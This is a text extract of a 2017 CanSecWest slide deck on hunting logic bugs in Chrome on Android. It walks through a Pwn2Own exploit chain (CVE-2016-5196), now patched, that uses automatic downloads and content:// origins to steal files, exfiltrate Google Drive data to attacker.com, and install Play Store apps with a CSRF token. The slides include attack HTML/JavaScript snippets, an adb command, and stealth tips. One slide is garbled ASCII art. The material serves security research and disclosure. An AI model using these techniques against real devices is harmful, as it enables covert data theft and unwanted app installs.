Logic Bug Hunting in Chrome on Android CanSecWest 17 March, 2017 - - PowerPoint PPT Presentation

logic bug hunting in chrome on android
SMART_READER_LITE
LIVE PREVIEW

Logic Bug Hunting in Chrome on Android CanSecWest 17 March, 2017 - - PowerPoint PPT Presentation

Logic Bug Hunting in Chrome on Android CanSecWest 17 March, 2017 Agenda Fuzzing and memory corruptions Introduction to logic flaws General approach to hunting logic bugs Application in Mobile Pwn2Own 2016 Exploit improvement


slide-1
SLIDE 1

Logic Bug Hunting in Chrome on Android

CanSecWest 17 March, 2017

slide-2
SLIDE 2

Agenda

  • Fuzzing and memory corruptions
  • Introduction to logic flaws
  • General approach to hunting logic bugs
  • Application in Mobile Pwn2Own 2016
  • Exploit improvement
slide-3
SLIDE 3

Tindroductions

slide-4
SLIDE 4

Fuzzing and Pwn2Own

  • Fuzzing has become mainstream
  • AFL, LibFuzzer, Radamsa, Honggfuzz, etc.
  • It’s almost too easy…
  • People find and kill bugs they rarely understand…
  • Increasing likelihood of duplicates
  • libstagefright, Chrome, etc.
  • Code changes
  • Improved exploit mitigations
slide-5
SLIDE 5

Android Mitigations

  • More and better security mechanisms
  • Improved rights management, SELinux, TrustZone
  • ASLR, DEP, PIE, RELRO, PartitionAlloc, Improved GC
  • Significant increase in exploit development time
  • Multiple bugs are usually chained together
  • PoC isn’t enough for the competition
  • We can’t afford spending too much time on Pwn2Own
slide-6
SLIDE 6

Memory Corruptions vs. Logic Flaws

  • Memory corruptions
  • Programming errors
  • Memory safety violations
  • Architecture-dependent
  • General mitigations
  • Logic flaws
  • Design vulnerabilities
  • Intended behaviour
  • Architecture-agnostic
  • Lack of general mitigation mechanisms
slide-7
SLIDE 7

We Love Logic Bugs

  • Equally beautiful and hilarious vectors
  • Basic tools
  • Actual exploits might be somewhat convoluted

Q: How many bugs do you have in your chain? A: We abuse one and a half features. Q: What tool did you use to find that bug? A: Notepad.

slide-8
SLIDE 8

It’s not just us…

slide-9
SLIDE 9

It’s not just us…

slide-10
SLIDE 10

It’s not just us…

slide-11
SLIDE 11

It’s not just us…

slide-12
SLIDE 12

Identifying Logic Flaws

  • I don’t know what I’m doing…
  • Lack of one-size-fits-all methodology
  • Thou shalt know thy target
  • Less known or obscure features
  • Trust boundaries and boundary violations
  • Threat modelling
slide-13
SLIDE 13

Mobile Pwn2Own 2016

slide-14
SLIDE 14

Mobile Pwn2Own 2016

slide-15
SLIDE 15

Mobile Pwn2Own 2016

slide-16
SLIDE 16

Mobile Pwn2Own 2016

“All entries must compromise the devices by browsing to web content […] or by viewing/receiving an MMS/SMS message.”

http://zerodayinitiative.com/MobilePwn2Own2016Rules.html

Category Phone Price (USD) Obtaining Sensitive Information Apple iPhone $50,000 Google Nexus $50,000 Samsung Galaxy $35,000 Install Rogue Application Apple iPhone $125,000 Google Nexus $100,000 Samsung Galaxy $60,000 Force Phone Unlock Apple iPhone $250,000

slide-17
SLIDE 17

Where do we start?

  • Ruling out SMS/MMS
  • Limited to media rendering bugs
  • Chrome
  • Core components
  • URI handlers
  • IPC to other applications
slide-18
SLIDE 18

Google Admin

  • Case study from 2015
slide-19
SLIDE 19

Google Admin

<activity android:name="com.google.android.apps. enterprise.cpanel.activities.ResetPinActivity"> <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:host="localhost" android:scheme="http"/> </intent-filter> </activity>

AndroidManifest.xml

slide-20
SLIDE 20

Google Admin

public void onCreate(Bundle arg3) { this.c = this.getIntent().getExtras().getString("setup_url"); this.b.loadUrl(this.c); // ... }

ResetPinActivity.java

slide-21
SLIDE 21

Google Admin

  • Attacking with malware

adb shell am start \ –d http://localhost/foo \

  • e setup_url file:////data/data/com.malware/file.html
slide-22
SLIDE 22

Google Admin

Chrome

file:///tmp/foo.html

Uncaught DOMException: Blocked a frame with origin "null" from accessing a cross-origin frame. <HTML><BODY> <IFRAME SRC="file:///tmp/foo.html" id="foo"

  • nLoad="console.log(document.getElementById('foo').contentDocument.body.innerHTML);">

</IFRAME> </BODY></HTML>

slide-23
SLIDE 23

Google Admin

Chrome on Android API 17

file:///sdcard/foo.html

Yep, that’s fine! <HTML><BODY> <IFRAME SRC="file:///sdcard/foo.html" id="foo"

  • nLoad="console.log(document.getelementById('foo').contentDocument.body.innerHTML);">

</IFRAME> </BODY></HTML>

slide-24
SLIDE 24

Google Admin

  • Malicious app creates a world readable file, e.g. foo.html
  • foo.html will load an iframe with src = “foo.html”

after a small delay

  • Sends a URL for foo.html to Google Admin via IPC
  • Change foo.html to be a symbolic link pointing to a file in the

Google Admin’s sandbox

  • Post file contents back to a web server
slide-25
SLIDE 25

Same-Origin Policy

  • Chrome for Android vs. Chrome
  • Different SOP
  • Custom Android schemes
  • Worth investigating…
slide-26
SLIDE 26

SOP in Chrome for Android

HTTP / HTTPS Scheme, domain and port number must match. FILE Full file path for origin until API 23. Starting with API 24, all origins are now NULL. CONTENT Scheme, domain and port number must match. DATA All origins are NULL.

slide-27
SLIDE 27

Jumping Origins

HTTP / HTTPS FILE CONTENT DATA HTTP / HTTPS

✓ ✘ ✓ ✓

FILE

✓ ✓ ✓ ✓

CONTENT

✓ ✘ ✓ ✓

DATA

✓ ✘ ✓ ✓

Destination Scheme Source Scheme

slide-28
SLIDE 28

Android Content Providers

  • Implement data repositories
  • Exportable for external access
  • Declared in AndroidManifest.xml
  • Read and write access control
  • Content URIs
  • Combination of ‘authority’ and ‘path’
  • content://<authority><path>
  • content://downloads/my_downloads/45
  • What about SOP?
slide-29
SLIDE 29

Android Download Manager

  • System service that handles long-running HTTP downloads
  • Back to SOP…

content://downloads/my_downloads/45 content://downloads/my_downloads/46 content://downloads/my_downloads/102

slide-30
SLIDE 30

Automatic File Downloads

  • Thank you, HTML5!
  • Confirmed to work in Chrome
  • <a href=“foo.html” download>
  • <a href=“foo.html” download=“bar.html">
  • Zero user interaction
  • Link click using JavaScript
  • Perfect for Pwn2Own
slide-31
SLIDE 31

Automatic File Downloads

<a id='foo' href='evil.html' download> link </a> <script> document.getElementById('foo').click(); </script>

slide-32
SLIDE 32

Exploit #1 – Stealing Downloaded Files

GET /index.html index.html

Attacker’s Web Server Victim’s Browser Android Download Manager

slide-33
SLIDE 33

Exploit #1 – Stealing Downloaded Files

GET /index.html index.html

https://attacker.com/index.html Attacker’s Web Server Victim’s Browser Android Download Manager

slide-34
SLIDE 34

Exploit #1 – Stealing Downloaded Files

GET /index.html index.html GET /evil.html evil.html (download) evil.html (download)

Attacker’s Web Server Victim’s Browser Android Download Manager

slide-35
SLIDE 35

Exploit #1 – Stealing Downloaded Files

GET /index.html index.html GET /evil.html evil.html (download) evil.html (download)

https://attacker.com/index.html Attacker’s Web Server Victim’s Browser Android Download Manager

slide-36
SLIDE 36

Exploit #1 – Stealing Downloaded Files

GET /index.html index.html GET /evil.html evil.html (download) evil.html (download) GET my_downloads/54 evil.html

Attacker’s Web Server Victim’s Browser Android Download Manager

slide-37
SLIDE 37

Exploit #1 – Stealing Downloaded Files

GET /index.html index.html GET /evil.html evil.html (download) evil.html (download) GET my_downloads/54 evil.html

content://downloads/my_downloads/54 Attacker’s Web Server Victim’s Browser Android Download Manager

slide-38
SLIDE 38

Exploit #1 – Stealing Downloaded Files

GET /index.html index.html GET /evil.html evil.html (download) evil.html (download) GET my_downloads/54 evil.html GET my_downloads/53 secrets.pdf secrets.pdf

Attacker’s Web Server Victim’s Browser Android Download Manager

slide-39
SLIDE 39

Mobile Pwn2Own 2016

Category Phone Price (USD) Obtaining Sensitive Information Apple iPhone $50,000 Google Nexus $50,000 Samsung Galaxy $35,000 Install Rogue Application Apple iPhone $125,000 Google Nexus $100,000 Samsung Galaxy $60,000 Force Phone Unlock Apple iPhone $250,000

slide-40
SLIDE 40

Exploit Enhancement

  • Downloading arbitrary files
  • User sessions

<a id='foo' href='https://drive.google.com/my_drive.html' download> link </a> <script> document.getElementById('foo').click(); </script>

slide-41
SLIDE 41

Multiple File Downloads

  • Multiple automatic downloads from the same page are forbidden
slide-42
SLIDE 42

Multiple File Downloads Restriction Bypass

  • However…

page1.html page2.html

<meta http-equiv="refresh" content="0; url=page2.html" />

<script> window.history.back(); </script>

slide-43
SLIDE 43

evil.html (download)

Exploit #2 – Stealing Google Drive Files

GET my_downloads/54 evil.html

Attacker’s Web Server Google Drive Web Server Victim’s Browser Android Download Manager

slide-44
SLIDE 44

evil.html (download)

Exploit #2 – Stealing Google Drive Files

GET my_downloads/54 evil.html

Attacker’s Web Server Google Drive Web Server Victim’s Browser Android Download Manager content://downloads/my_downloads/54

slide-45
SLIDE 45

evil.html (download) my_drive.html (download) GET /my_drive.html

Exploit #2 – Stealing Google Drive Files

GET my_downloads/54 evil.html

Attacker’s Web Server Google Drive Web Server Victim’s Browser Android Download Manager

slide-46
SLIDE 46

evil.html (download) my_drive.html (download) GET /my_drive.html

Exploit #2 – Stealing Google Drive Files

GET my_downloads/54 evil.html GET my_downloads/55 my_drive.html my_drive.html (download)

Attacker’s Web Server Google Drive Web Server Victim’s Browser Android Download Manager

slide-47
SLIDE 47

evil.html (download) my_drive.html (download) GET /my_drive.html

Exploit #2 – Stealing Google Drive Files

GET my_downloads/54 evil.html GET my_downloads/55 my_drive.html my_drive.html (download) bounce.html GET /bounce.html

Attacker’s Web Server Google Drive Web Server Victim’s Browser Android Download Manager https://attacker.com/bounce.html

slide-48
SLIDE 48

evil.html (download) my_drive.html (download) GET /my_drive.html

Exploit #2 – Stealing Google Drive Files

GET my_downloads/54 evil.html GET my_downloads/55 my_drive.html my_drive.html (download) bounce.html history.back(); GET /bounce.html

Attacker’s Web Server Google Drive Web Server Victim’s Browser Android Download Manager content://downloads/my_downloads/54

slide-49
SLIDE 49

evil.html (download) my_drive.html (download) GET /my_drive.html

Exploit #2 – Stealing Google Drive Files

GET my_downloads/54 evil.html GET my_downloads/55 my_drive.html my_drive.html (download) bounce.html GET /img?id=12345678 img_foo.jpg (download) history.back(); GET /bounce.html

Attacker’s Web Server Google Drive Web Server Victim’s Browser Android Download Manager

slide-50
SLIDE 50

evil.html (download) my_drive.html (download) GET /my_drive.html

Exploit #2 – Stealing Google Drive Files

GET my_downloads/54 evil.html GET my_downloads/55 my_drive.html my_drive.html (download) bounce.html GET /img?id=12345678 img_foo.jpg (download) POST /exfiltrate history.back(); img_foo.jpg (download) GET my_downloads/56 my_drive.html GET /bounce.html

Attacker’s Web Server Google Drive Web Server Victim’s Browser Android Download Manager

slide-51
SLIDE 51

LL LLL L T TTT T TTT TTT LL LLL L T TTT T TTT TTT LL LLL L T TTT T TTT TTT mM mMMM MMm. m.mMM MMm. AAAAa AAAAa. . LL LLL L .cC cCCCC CCc .oOOo

  • OOo.

. NNN NNNNn Nn. . T TTTT TTTT TT .eEEe eEEe. . NN NNNN NNNn Nn. TT TTTT TTTT MM MMM M "M "MMM M "MMm Mm "AA AAa LL LLL L cCC CCC"

  • OO
  • OO""

""OOo Oo NNN NN "NNn NNn TT TTT T eE eEE EEe EEe NN NNN N "NN NNn TT TTT T MMM MMM MM MMM MMM MM .aA aAAA AAAA AAA LL LLL L === ==== === = CCC CC O OOO OO OOO OO NNN NN NNN NNN TT TTT T E EEEE EEEE EEEE EE NN NNN N NN NNN TT TTT T MMM MMM MM MMM MMM MM AAA AAA AA AAA LL LLL L CCC CCc.

  • OO
  • OO..

..OOo Oo NNN NN NNN NNN tT tTTt Tt. . EE EEe. . NN NNN N NN NNN TTTt TTTt. . MMM MMM MM MMM MMM MM "Y "YAA AAAA AAAA A LL LLL L "CC CCCCC CCc "O "OOO OOO" " N NNN NN NNN NNN "tTTT tTTT "EE EEEE EEE E NN NNN N NN NNN "T "TTT TTT

slide-52
SLIDE 52

Drive Files Download Demo

slide-53
SLIDE 53

Mobile Pwn2Own 2016

Category Phone Price (USD) Obtaining Sensitive Information Apple iPhone $50,000 Google Nexus $50,000 Samsung Galaxy $35,000 Install Rogue Application Apple iPhone $125,000 Google Nexus $100,000 Samsung Galaxy $60,000 Force Phone Unlock Apple iPhone $250,000

slide-54
SLIDE 54

Bettererer Exploit

  • We can also make POST requests
  • Download pages containing CSRF token
  • Use CSRF token in POST request
  • We’ve got everything now…
slide-55
SLIDE 55

Exploit #3 – Install APK from Play Store

  • Grab a CSRF token

https://play.google.com/store

  • Grab victim’s device ID

sa

https://play.google.com/settings

  • Install APK via POST request using CSRF token and device ID

function(){window._uc='[\x22Kx1pa-cDQOe_1C6Q0J2ixtQT22:1477462478689\x22, \x220\x22, \x22en\x22,\x22GB\x22, <tr class="excPab-rAew03" id="g1921daaeef107b4" data-device-id=" g1921daaeef107b4" data-nickname="" data-visible="true" jsname="fscTHd"> id=com.mylittlepony.game&device=g1921daaeef107b4&token=Ka1pa- dDQOe_1C6Q0J2ixtQT32:1477462478689 https://play.google.com/store/install?authuser=0

slide-56
SLIDE 56

Exploit #3 – Install APK from Play Store

evil.html

Attacker’s Web Server Google Play Web Server Victim’s Browser Android Download Manager

slide-57
SLIDE 57

Exploit #3 – Install APK from Play Store

evil.html

Attacker’s Web Server Google Play Web Server Victim’s Browser Android Download Manager content://downloads/my_downloads/54

slide-58
SLIDE 58

store.html (download) GET /store.html

Exploit #3 – Install APK from Play Store

evil.html store.html (download) GET /bounce.html bounce.html

Attacker’s Web Server Google Play Web Server Victim’s Browser Android Download Manager https://attacker.com/bounce.html

slide-59
SLIDE 59

store.html (download) GET /store.html

Exploit #3 – Install APK from Play Store

evil.html store.html (download) history.back(); GET /bounce.html bounce.html

Attacker’s Web Server Google Play Web Server Victim’s Browser Android Download Manager content://downloads/my_downloads/54

slide-60
SLIDE 60

store.html (download) GET /store.html GET my_downloads/55 store.html settings.html (download) GET /settings.html

Exploit #3 – Install APK from Play Store

evil.html store.html (download) history.back(); settings.html (download) GET /bounce.html bounce.html

Attacker’s Web Server Google Play Web Server Victim’s Browser Android Download Manager

slide-61
SLIDE 61

store.html (download) GET /store.html GET my_downloads/55 store.html POST /install settings.html (download) GET /settings.html

Exploit #3 – Install APK from Play Store

evil.html store.html (download) history.back(); settings.html (download) GET /bounce.html bounce.html

Attacker’s Web Server Google Play Web Server Victim’s Browser Android Download Manager

GET my_downloads/56 settings.html

slide-62
SLIDE 62

Mobile Pwn2Own 2016

Category Phone Price (USD) Obtaining Sensitive Information Apple iPhone $50,000 Google Nexus $50,000 Samsung Galaxy $35,000 Install Rogue Application Apple iPhone $125,000 Google Nexus $100,000 Samsung Galaxy $60,000 Force Phone Unlock Apple iPhone $250,000

slide-63
SLIDE 63

Keep calm and… aw, snap!

  • Pending Chrome update?!
  • Automatic updates failed us
  • Segmentation fault from AJAX requests
  • Never had time to investigate
  • Can still use HTML forms to POST back
  • Absolute mess compared to AJAX
slide-64
SLIDE 64

Where did this bug feature come from?

slide-65
SLIDE 65

Exploit Improvement

  • Removing Pwn2Own debugging
  • Completely removing AJAX
  • Moving the bulk of the logic off to the agent
  • Intelligent agent
  • Less C&C traffic
  • Hiding malicious activities from the user
slide-66
SLIDE 66

Changing Focus

  • Prompt for redirecting to another application
  • Media players, PDF readers and other applications
  • <a href=‘rtsp://sexy.time.gov.uk/cam1’>Click me!</a>
  • In focus test in JavaScript
  • document.hidden == true
slide-67
SLIDE 67

Toasts

  • Small popups at the bottom of the screen
  • Automatic file downloads
  • “Downloading…”
slide-68
SLIDE 68

Fasterer and Stealthierer

slide-69
SLIDE 69

Going Further

  • Wait for the screen to get locked?
  • JS is slightly delayed when the browser isn’t in focus, or the lock

screen is activated

  • Loop JS function every 100 ms
  • Test time passed since last function call
slide-70
SLIDE 70

How realistic is this?

700 750 800 850 900 950 1000 1050 1100 Minimised
slide-71
SLIDE 71

How realistic is this?

700 750 800 850 900 950 1000 1050 1100 Minimised Locked
slide-72
SLIDE 72

The Patch

  • CVE-2016-5196
  • Chromium Bug ID 659492
  • The content scheme is now a local scheme
  • Similar to file:// scheme
  • Cannot redirect from http:// to content://
  • Cannot read other content:// files
slide-73
SLIDE 73

Conclusion

  • Hunting logic flaws can be rewarding
  • Outside-the-box thinking
  • Creativity exercise